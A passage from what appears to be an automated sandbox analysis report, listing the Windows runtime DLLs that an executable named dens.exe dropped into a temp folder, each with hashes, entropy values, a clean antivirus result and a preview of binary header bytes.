SHA-512:	3EC20E1AC39A98CB5F726D8390C2EE3CD4CD0BF118FDDA7271F7604A4946D78778713B675D19DD3E1EC1D6D4D097ABE9CD6D0F76B3A7DFF53CE8D6DBC146870A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...j............" .........0...............................................@............`A........................................p................0...............0..x&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-processenvironment-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22120
Entropy (8bit):	4.893761152454321
Encrypted:	false
SSDEEP:	192:dEFP2WqhWVWEXCVWQ4mW68vx6RMySX01k9z3AzapOP:eF+WqhWi6gMR9zqa0
MD5:	0462E22F779295446CD0B63E61142CA5
SHA1:	616A325CD5B0971821571B880907CE1B181126AE
SHA-256:	0B6B598EC28A9E3D646F2BB37E1A57A3DDA069A55FBA86333727719585B1886E
SHA-512:	07B34DCA6B3078F7D1E8EDE5C639F697C71210DCF9F05212FD16EB181AB4AC62286BC4A7CE0D84832C17F5916D0224D1E8AAB210CEEFF811FC6724C8845A74FE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...L.Y..........." .........0...............................................@............`A........................................p...H............0...............0..h&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-processthreads-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	5.231196901820079
Encrypted:	false
SSDEEP:	192:/Mck1JzX9cKSI0WqhWsWJWadJCsVWQ4mWClLeyttuX01k9z3A2XCJq:Uck1JzNcKSI0WqhWZCsvfSR9zfyk
MD5:	C3632083B312C184CBDD96551FED5519
SHA1:	A93E8E0AF42A144009727D2DECB337F963A9312E
SHA-256:	BE8D78978D81555554786E08CE474F6AF1DE96FCB7FA2F1CE4052BC80C6B2125
SHA-512:	8807C2444A044A3C02EF98CF56013285F07C4A1F7014200A21E20FCB995178BA835C30AC3889311E66BC61641D6226B1FF96331B019C83B6FCC7C87870CCE8C4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d....O.j.........." .........0...............................................@......9&....`A........................................p................0...............0..x&..............p............................................................................rdata..d...........................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-processthreads-l1-1-1.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.799245167892134
Encrypted:	false
SSDEEP:	192:R0DfIeUWqhWLWJWadJCsVWQ4mWFVyttuX01k9z3A2YHmp:R0DfIeUWqhWiCsLSR9zfYHmp
MD5:	517EB9E2CB671AE49F99173D7F7CE43F
SHA1:	4CCF38FED56166DDBF0B7EFB4F5314C1F7D3B7AB
SHA-256:	57CC66BF0909C430364D35D92B64EB8B6A15DC201765403725FE323F39E8AC54
SHA-512:	492BE2445B10F6BFE6C561C1FC6F5D1AF6D1365B7449BC57A8F073B44AE49C88E66841F5C258B041547FCD33CBDCB4EB9DD3E24F0924DB32720E51651E9286BE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d.....#..........." .........0...............................................@.......,....`A........................................p................0...............0..x&..............p............................................................................rdata..\...........................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-profile-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.587063911311469
Encrypted:	false
SSDEEP:	192:fWqhWeWJWadJCsVWQ4mWMs7DENNVAv+cQ0GX01k9z3ARoIGA/:fWqhWbCs8oNbZR9zQoxS
MD5:	F3FF2D544F5CD9E66BFB8D170B661673
SHA1:	9E18107CFCD89F1BBB7FDAF65234C1DC8E614ADD
SHA-256:	E1C5D8984A674925FA4AFBFE58228BE5323FE5123ABCD17EC4160295875A625F
SHA-512:	184B09C77D079127580EF80EB34BDED0F5E874CEFBE1C5F851D86861E38967B995D859E8491FCC87508930DC06C6BBF02B649B3B489A1B138C51A7D4B4E7AAAD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d......e.........." .........0...............................................@............`A........................................p................0...............0..x&..............p............................................................................rdata..P...........................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-rtlsupport-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.754374422741657
Encrypted:	false
SSDEEP:	192:CGeVPWqhWUWJWadJCsVWQ4mWUhSqyttuX01k9z3A2lqn7cq:CGeVPWqhWBCsvoSR9zflBq
MD5:	A0C2DBE0F5E18D1ADD0D1BA22580893B
SHA1:	29624DF37151905467A223486500ED75617A1DFD
SHA-256:	3C29730DF2B28985A30D9C82092A1FAA0CEB7FFC1BD857D1EF6324CF5524802F
SHA-512:	3E627F111196009380D1687E024E6FFB1C0DCF4DCB27F8940F17FEC7EFDD8152FF365B43CB7FDB31DE300955D6C15E40A2C8FB6650A91706D7EA1C5D89319B12
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d......Z.........." .........0...............................................@............`A........................................p...<............0...............0..x&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-string-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.664553499673792
Encrypted:	false
SSDEEP:	192:mZyMvr5WqhWAWJWadJCsVWQ4mWWqpNVAv+cQ0GX01k9z3ARo+GZ:mZyMvlWqhWNCsUpNbZR9zQo+GZ
MD5:	2666581584BA60D48716420A6080ABDA
SHA1:	C103F0EA32EBBC50F4C494BCE7595F2B721CB5AD
SHA-256:	27E9D3E7C8756E4512932D674A738BF4C2969F834D65B2B79C342A22F662F328
SHA-512:	BEFED15F11A0550D2859094CC15526B791DADEA12C2E7CEB35916983FB7A100D89D638FB1704975464302FAE1E1A37F36E01E4BEF5BC4924AB8F3FD41E60BD0C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d.....I..........." .........0...............................................@............`A........................................p................0...............0..x&..............p............................................................................rdata..l...........................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-synch-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	5.146069394118203
Encrypted:	false
SSDEEP:	384:vUwidv3V0dfpkXc0vVaCsWqhWjCsa2IR9z5Bk5l:sHdv3VqpkXc0vVaP+U9zzk5l
MD5:	225D9F80F669CE452CA35E47AF94893F
SHA1:	37BD0FFC8E820247BD4DB1C36C3B9F9F686BBD50
SHA-256:	61C0EBE60CE6EBABCB927DDFF837A9BF17E14CD4B4C762AB709E630576EC7232
SHA-512:	2F71A3471A9868F4D026C01E4258AFF7192872590F5E5C66AABD3C088644D28629BA8835F3A4A23825631004B1AFD440EFE7161BB9FC7D7C69E0EE204813CA7B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d.....x.........." .........0...............................................@.......J....`A........................................p...X............0...............0..x&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-synch-l1-2-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.834520503429805
Encrypted:	false
SSDEEP:	192:etZ3xWqhWqWJWadJCsVWQ4mWfH/fKUSIX01k9z3AEXz40OY:etZ3xWqhWHCsMH2IR9z5OY
MD5:	1281E9D1750431D2FE3B480A8175D45C
SHA1:	BC982D1C750B88DCB4410739E057A86FF02D07EF
SHA-256:	433BD8DDC4F79AEE65CA94A54286D75E7D92B019853A883E51C2B938D2469BAA
SHA-512:	A954E6CE76F1375A8BEAC51D751B575BBC0B0B8BA6AA793402B26404E45718165199C2C00CCBCBA3783C16BDD96F0B2C17ADDCC619C39C8031BECEBEF428CE77
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d................." .........0...............................................@.......w....`A........................................p...x............0...............0..x&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-sysinfo-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.916367637528538
Encrypted:	false
SSDEEP:	192:qaIMFSYWqhWzWJWadJCsVWQ4mW14LyttuX01k9z3A2ClV:qdYWqhWqCsISR9zfCT
MD5:	FD46C3F6361E79B8616F56B22D935A53
SHA1:	107F488AD966633579D8EC5EB1919541F07532CE
SHA-256:	0DC92E8830BC84337DCAE19EF03A84EF5279CF7D4FDC2442C1BC25320369F9DF
SHA-512:	3360B2E2A25D545CCD969F305C4668C6CDA443BBDBD8A8356FFE9FBC2F70D90CF4540F2F28C9ED3EEA6C9074F94E69746E7705E6254827E6A4F158A75D81065B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...~.l-.........." .........0...............................................@............`A........................................p................0...............0..x&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-timezone-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.829681745003914
Encrypted:	false
SSDEEP:	192:HNpWqhW5WJWadJCsVWQ4mWbZyttuX01k9z3A2qkFU:HXWqhW4Cs1SR9zf9U
MD5:	D12403EE11359259BA2B0706E5E5111C
SHA1:	03CC7827A30FD1DEE38665C0CC993B4B533AC138
SHA-256:	F60E1751A6AC41F08E46480BF8E6521B41E2E427803996B32BDC5E78E9560781
SHA-512:	9004F4E59835AF57F02E8D9625814DB56F0E4A98467041DA6F1367EF32366AD96E0338D48FFF7CC65839A24148E2D9989883BCDDC329D9F4D27CAE3F843117D0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...>.os.........." .........0...............................................@............`A........................................p...H............0...............0..x&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-util-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.612408827336625
Encrypted:	false
SSDEEP:	192:CWqhW+WJWadJCsVWQ4mWprgfKUSIX01k9z3AEXzh:CWqhW7Cs12IR9z5F
MD5:	0F129611A4F1E7752F3671C9AA6EA736
SHA1:	40C07A94045B17DAE8A02C1D2B49301FAD231152
SHA-256:	2E1F090ABA941B9D2D503E4CD735C958DF7BB68F1E9BDC3F47692E1571AAAC2F
SHA-512:	6ABC0F4878BB302713755A188F662C6FE162EA6267E5E1C497C9BA9FDDBDAEA4DB050E322CB1C77D6638ECF1DAD940B9EBC92C43ACAA594040EE58D313CBCFAE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d.....+..........." .........0...............................................@............`A........................................p...<............0...............0..x&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-conio-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.918215004381039
Encrypted:	false
SSDEEP:	192:OvMWqhWkWJWadJCsVWQ4mWoz/HyttuX01k9z3A21O:JWqhWxCs/SSR9zf1O
MD5:	D4FBA5A92D68916EC17104E09D1D9D12
SHA1:	247DBC625B72FFB0BF546B17FB4DE10CAD38D495
SHA-256:	93619259328A264287AEE7C5B88F7F0EE32425D7323CE5DC5A2EF4FE3BED90D5
SHA-512:	D5A535F881C09F37E0ADF3B58D41E123F527D081A1EBECD9A927664582AE268341771728DC967C30908E502B49F6F853EEAEBB56580B947A629EDC6BCE2340D8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...Aj............" .........0...............................................@......UJ....`A.........................................................0...............0..x&..............p............................................................................rdata..p...........................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-convert-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26216
Entropy (8bit):	4.882777558752248
Encrypted:	false
SSDEEP:	192:I9cy5WqhWKWEXCVWQ4mW1pbm6yttuX01k9z3A2jyM:Ry5WqhWdcbmLSR9zfjj
MD5:	EDF71C5C232F5F6EF3849450F2100B54
SHA1:	ED46DA7D59811B566DD438FA1D09C20F5DC493CE
SHA-256:	B987AB40CDD950EBE7A9A9176B80B8FFFC005CCD370BB1CBBCAD078C1A506BDC
SHA-512:	481A3C8DC5BEF793EE78CE85EC0F193E3E9F6CD57868B813965B312BD0FADEB5F4419707CD3004FBDB407652101D52E061EF84317E8BD458979443E9F8E4079A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...U.gJ.........." .........@...............................................P............`A.........................................................@...............@..h&..............p............................................................................rdata..n........ ..................@..@.data........0......................@....rsrc........@.......0..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-environment-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22120
Entropy (8bit):	4.738587310329139
Encrypted:	false
SSDEEP:	192:TWqhWXWEXCVWQ4mWPXTNyttuX01k9z3A2dGxr:TWqhWMKASR9zfYxr
MD5:	F9235935DD3BA2AA66D3AA3412ACCFBF
SHA1:	281E548B526411BCB3813EB98462F48FFAF4B3EB
SHA-256:	2F6BD6C235E044755D5707BD560A6AFC0BA712437530F76D11079D67C0CF3200
SHA-512:	AD0C0A7891FB8328F6F0CF1DDC97523A317D727C15D15498AFA53C07610210D2610DB4BC9BD25958D47ADC1AF829AD4D7CF8AABCAB3625C783177CCDB7714246
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...9.4o.........." .........0...............................................@......h*....`A............................................"............0...............0..h&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-filesystem-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22120
Entropy (8bit):	5.202163846121633
Encrypted:	false
SSDEEP:	192:2pUEpnWlC0i5CBWqhWXLeWEXCVWQ4iW+/x6RMySX01k9z3Aza8Az629:2ptnWm5CBWqhWtWMR9zqaH629
MD5:	5107487B726BDCC7B9F7E4C2FF7F907C
SHA1:	EBC46221D3C81A409FAB9815C4215AD5DA62449C
SHA-256:	94A86E28E829276974E01F8A15787FDE6ED699C8B9DC26F16A51765C86C3EADE
SHA-512:	A0009B80AD6A928580F2B476C1BDF4352B0611BB3A180418F2A42CFA7A03B9F0575ED75EC855D30B26E0CCA96A6DA8AFFB54862B6B9AFF33710D2F3129283FAA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...2............." .........0...............................................@......M4....`A.........................................................0...............0..h&..............p............................................................................rdata..0...........................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-heap-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22120
Entropy (8bit):	4.866983142029453
Encrypted:	false
SSDEEP:	192:0vh8Y17aFBRsWqhW9AWEXCVWQ4mWCB4Lrp0KBQfX01k9z3ALkg5Z7:SL5WqhW9boRxB+R9z2kM7
MD5:	D5D77669BD8D382EC474BE0608AFD03F
SHA1:	1558F5A0F5FACC79D3957FF1E72A608766E11A64
SHA-256:	8DD9218998B4C4C9E8D8B0F8B9611D49419B3C80DAA2F437CBF15BCFD4C0B3B8
SHA-512:	8DEFA71772105FD9128A669F6FF19B6FE47745A0305BEB9A8CADB672ED087077F7538CD56E39329F7DAA37797A96469EAE7CD5E4CCA57C9A183B35BDC44182F3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...."]..........." .........0...............................................@............`A.........................................................0...............0..h&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-locale-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.828044267819929
Encrypted:	false
SSDEEP:	192:dUnWqhWRWJWadJCsVWQ4mW+2PyttuX01k9z3A23y:cWqhWQCsHSR9zf3y
MD5:	650435E39D38160ABC3973514D6C6640
SHA1:	9A5591C29E4D91EAA0F12AD603AF05BB49708A2D
SHA-256:	551A34C400522957063A2D71FA5ABA1CD78CC4F61F0ACE1CD42CC72118C500C0
SHA-512:	7B4A8F86D583562956593D27B7ECB695CB24AB7192A94361F994FADBA7A488375217755E7ED5071DE1D0960F60F255AA305E9DD477C38B7BB70AC545082C9D5E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...6..q.........." .........0...............................................@.......-....`A............................................e............0...............0..x&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-math-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30328
Entropy (8bit):	5.14173409150951
Encrypted:	false
SSDEEP:	384:r7yaFM4Oe59Ckb1hgmLVWqhW2CsWNbZR9zQoekS:/FMq59Bb1jnoFT9zGp
MD5:	B8F0210C47847FC6EC9FBE2A1AD4DEBB
SHA1:	E99D833AE730BE1FEDC826BF1569C26F30DA0D17
SHA-256:	1C4A70A73096B64B536BE8132ED402BCFB182C01B8A451BFF452EFE36DDF76E7
SHA-512:	992D790E18AC7AE33958F53D458D15BFF522A3C11A6BD7EE2F784AC16399DE8B9F0A7EE896D9F2C96D1E2C8829B2F35FF11FC5D8D1B14C77E22D859A1387797C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d................" .........P...............................................`............`A.............................................%...........P...............P..x&..............p............................................................................rdata...'.......0..................@..@.data........@......................@....rsrc........P.......@..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-process-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22120
Entropy (8bit):	4.883012715268179
Encrypted:	false
SSDEEP:	192:5eXrqjd7ZWqhW3WEXCVWQ4mW3Ql1Lrp0KBQfX01k9z3ALkjY/12:54rgWqhWsP1RxB+R9z2kjY/Y
MD5:	272C0F80FD132E434CDCDD4E184BB1D8
SHA1:	5BC8B7260E690B4D4039FE27B48B2CECEC39652F
SHA-256:	BD943767F3E0568E19FB52522217C22B6627B66A3B71CD38DD6653B50662F39D
SHA-512:	94892A934A92EF1630FBFEA956D1FE3A3BFE687DEC31092828960968CB321C4AB3AF3CAF191D4E28C8CA6B8927FBC1EC5D17D5C8A962C848F4373602EC982CD4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...<SdT.........." .........0...............................................@......N.....`A............................................x............0...............0..h&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-runtime-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26208
Entropy (8bit):	5.023753175006074
Encrypted:	false
SSDEEP:	192:4mGqX8mPrpJhhf4AN5/KiFWqhWyzWEXCVWQ4OW4034hHssDX01k9z3AaYX2cWo:4ysyr77WqhWyI0oFDR9z9YH9
MD5:	20C0AFA78836B3F0B692C22F12BDA70A
SHA1:	60BB74615A71BD6B489C500E6E69722F357D283E
SHA-256:	962D725D089F140482EE9A8FF57F440A513387DD03FDC06B3A28562C8090C0BC
SHA-512:	65F0E60136AB358661E5156B8ECD135182C8AAEFD3EC320ABDF9CFC8AEAB7B68581890E0BBC56BAD858B83D47B7A0143FA791195101DC3E2D78956F591641D16
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d.....TR.........." .........@...............................................P......D!....`A............................................4............@...............@..`&..............p............................................................................rdata........... ..................@..@.data........0......................@....rsrc........@.......0..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-stdio-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26232
Entropy (8bit):	5.289041983400337
Encrypted:	false
SSDEEP:	192:UuV2OlkuWYFxEpahfWqhWNWJWadJCsVWQ4mWeX9UfKUSIX01k9z3AEXzGd5S:dV2oFVhfWqhWMCstE2IR9z5Sd5S
MD5:	96498DC4C2C879055A7AFF2A1CC2451E
SHA1:	FECBC0F854B1ADF49EF07BEACAD3CEC9358B4FB2
SHA-256:	273817A137EE049CBD8E51DC0BB1C7987DF7E3BF4968940EE35376F87EF2EF8D
SHA-512:	4E0B2EF0EFE81A8289A447EB48898992692FEEE4739CEB9D87F5598E449E0059B4E6F4EB19794B9DCDCE78C05C8871264797C14E4754FD73280F37EC3EA3C304
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...k. U.........." .........@...............................................P............`A............................................a............@...............@..x&..............p............................................................................rdata........... ..................@..@.data........0......................@....rsrc........@.......0..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-string-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26232
Entropy (8bit):	5.284932479906984
Encrypted:	false
SSDEEP:	384:tCLx0C5yguNvZ5VQgx3SbwA7yMVIkFGlTWqhWbQCsMSR9zful:tCV5yguNvZ5VQgx3SbwA71IkFGqHe9zI
MD5:	115E8275EB570B02E72C0C8A156970B3
SHA1:	C305868A014D8D7BBEF9ABBB1C49A70E8511D5A6
SHA-256:	415025DCE5A086DBFFC4CF322E8EAD55CB45F6D946801F6F5193DF044DB2F004
SHA-512:	B97EF7C5203A0105386E4949445350D8FF1C83BDEAEE71CCF8DC22F7F6D4F113CB0A9BE136717895C36EE8455778549F629BF8D8364109185C0BF28F3CB2B2CA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d.... .h.........." .........@...............................................P......\.....`A.........................................................@...............@..x&..............p............................................................................rdata.._........ ..................@..@.data........0......................@....rsrc........@.......0..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-time-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22120
Entropy (8bit):	5.253102285412285
Encrypted:	false
SSDEEP:	192:mt3hwDGWqhWrWEXCVWQ4mWn+deyttuX01k9z3A23x:AWqhWgPSR9zfh
MD5:	001E60F6BBF255A60A5EA542E6339706
SHA1:	F9172EC37921432D5031758D0C644FE78CDB25FA
SHA-256:	82FBA9BC21F77309A649EDC8E6FC1900F37E3FFCB45CD61E65E23840C505B945
